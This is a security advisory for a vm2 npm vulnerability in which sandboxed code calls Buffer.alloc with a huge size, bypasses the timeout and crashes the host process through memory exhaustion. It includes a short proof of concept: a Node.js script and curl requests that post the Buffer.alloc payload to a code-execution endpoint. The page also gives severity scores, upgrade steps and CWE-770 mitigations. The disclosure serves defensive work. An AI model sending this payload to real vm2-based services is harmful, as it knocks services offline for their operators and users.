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GHSA-6785-pvv7-mvg7 CVE-2026-44004

vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion

High npm
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.42%
Chance of exploitation in the next 30 days. Higher than 36.21% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
3.11.0
Upgrade vm2 to this version or later

Description

Summary

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):

  • JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works
  • Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt

This means:

  1. timeout: 5000 does NOT protect against this attack
  2. A single call allocates the entire requested size at once
  3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect

// Control test — JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}

# 2. Send Buffer.alloc payload — process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)

# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

# Control test — JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive — timeout works for JS, but NOT for Buffer.alloc

Impact

  • DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection.
  • Environment-dependent severity:
    • Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — FATAL ERROR: Reached heap limit was confirmed in testing.
    • Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
  • Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.11.0
3.11.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.11.0

npm
npm install vm2@3.11.0
yarn
yarn add vm2@3.11.0
pnpm
pnpm add vm2@3.11.0

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-489w-w794-jq94
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
High Also affects vm2
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
High Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
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